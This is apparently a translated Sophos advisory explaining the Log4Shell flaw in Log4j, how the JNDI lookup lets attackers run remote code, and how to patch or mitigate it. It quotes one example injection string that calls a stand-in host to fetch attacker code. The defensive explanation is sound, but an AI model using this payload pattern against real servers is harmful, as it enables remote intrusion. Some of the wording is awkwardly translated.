Java vulnerability Log4j - Log4Shell - What happened and what should be done now. After Hafnium, Kaseya or Solarwinds, companies urgently need to grapple with a high-profile server vulnerability called Log4j - Log4Shell. Sophos clarifies the most important facts and tells you what to do.
The name Log4Shell refers to the fact that the exploited bug is contained in a popular Java code library called Log4j (Logging for Java), and to the fact that if attackers successfully exploit the vulnerability, they practically get a shell - that is, the opportunity to run any system code of your choice.
“The key point in the Log4Shell attack is that the server automatically executes code. Whatever an attacker wants to do to a server with the vulnerability, he can do it. It is therefore extremely important to patch as quickly as possible, because a lot of people out there who have nothing good on their mind are already trying to test which servers are still vulnerable. "
Paul Ducklin, IT security expert at Sophos
And as if this command wasn't enough, the vulnerability was tweeted as a zero-day vulnerability, that is, as a security bug that is documented before a patch is available. In addition, the Proof-of-Concept (PoC) was published on GitHub and the problem was known worldwide while it was still unpatched. The alarm bells have been ringing loudly since Friday and in Germany too, for example the BSI declared the warning level red.
Improper input validation
The vulnerability, now officially known as CVE-2021-44228, originated in a harmless request sent to a vulnerable server that includes some data - such as an HTTP header - that cybercriminals expect (or even know) to be Server writes them to its log file. The data infiltrated in this way creates a hidden “booby trap”, as the server, while converting the data into a format suitable for logging, starts a web download as an integral part of creating the required log entry. And this action is tough, because if the data coming back is a valid Java program (a .class file, in jargon) then the server executes this file to help it generate the log data.
Unpatched Log4j library enables logging requests
The trick is that unpatched versions of the Log4j library allow logging requests by default to trigger general LDAP (directory services) searches as well as various other online searches. This "feature" exists to help turn not very useful data, for example user IDs like OZZJ5JYPVK, into human readable information that makes sense on your network, like Peter Miller. These requests are made through a commonly used Java toolkit called JNDI, short for Java Naming and Directory Interface.
This approach is sustainable as long as the logged data, which can trigger execution of server-side code, is limited to directory servers in your own network. However, many servers are not set up to do this, and malicious “logsploiters” could attempt to embed text such as {$ jndi: ldap: //dodgy.example: 389 / badcode} into the data they expect organizations to log and Server automatically
- Use JNDI to send an LDAP request to the specified port (389 in our example) on the specified untrusted external server.
- Retrieve the untrusted content in the location badcode.
- run the attacker provided code to get "help" with the logging.
In simple terms, this procedure is known in technical jargon as unauthenticated remote code execution (RCE). Without logging in or needing a password or access token, cyber criminals could use a harmless-looking request to trick servers into logging in, downloading their code, and thereby infecting themselves with their malware. Depending on which access rights a server has to the internal network, such an RCE can help cybercriminals to carry out a multitude of harmful tasks.
And that is exactly what makes the current Log4Shell chess point so dangerous. Theoretically, attackers can let data flow from the server itself; Find out details about the internal network, change data on the server; Exfiltrate data from other servers on the network; Set up additional back doors on the server or network for future attacks or install additional malware such as network snooper, memory scraper, data stealer and cryptominer.
What to do now!
Licensor Apache has published a practical security notice on this subject. Sophos also summarizes the most important things:
- Upgrade to Apache Log4j 2.15.0. When using Log4j, every 2.x version from 2.14.1 and earlier appears to be vulnerable by default. (If you are still using Log4j 1.x, an upgrade is also mandatory, as it is no longer supplied with updates).
- Block the possibility of JNDI making requests to untrusted servers. If you cannot update but are using Log4j 2.10.0 or higher, you can set the configuration value log4j2.formatMsgNoLookups to true, which prevents LDAP and similar queries from going out in the first place.
- Checking the Java runtime used. The underlying Java build you are using may prevent this error from being raised based on its own default configuration. For example, Apache explicitly lists Oracle Java 8u121 as protection against this RCE.
Does the security gap also affect private users?
Log4Shell not only means red alert for companies, private users can also be affected by the effects of the vulnerability. This is especially true when private individuals use cloud servers operated by a hosting company or other managed service provider - be it a blog, a forum or the family website. The first thing to do here is to find out whether these services are vulnerable and when patches are planned. At the moment it certainly makes more sense to look for information on the relevant websites, as the providers are most likely currently being flooded with emails.
Pay attention to messages from service providers
In addition, attention should be paid to official security warnings from online services used in the mailbox ... but here too, caution should be exercised! If users receive messages about the current security vulnerability - possibly from a prominent service provider, they should not automatically click on the links given in the warning message and should not dial phone numbers without critical examination. Media-effective cyberattacks such as Log4Shell quickly encourage free-riders who want to use the fear of users for their phishing attacks. When in doubt, users should find their own way of obtaining information using URLs, email addresses, or phone numbers that they have used previously.
More at Sophos.com
About Sophos More than 100 million users in 150 countries trust Sophos. We offer the best protection against complex IT threats and data loss. Our comprehensive security solutions are easy to deploy, use and manage. They offer the lowest total cost of ownership in the industry. Sophos offers award-winning encryption solutions, security solutions for endpoints, networks, mobile devices, email and the web. In addition, there is support from SophosLabs, our worldwide network of our own analysis centers. The Sophos headquarters are in Boston, USA and Oxford, UK.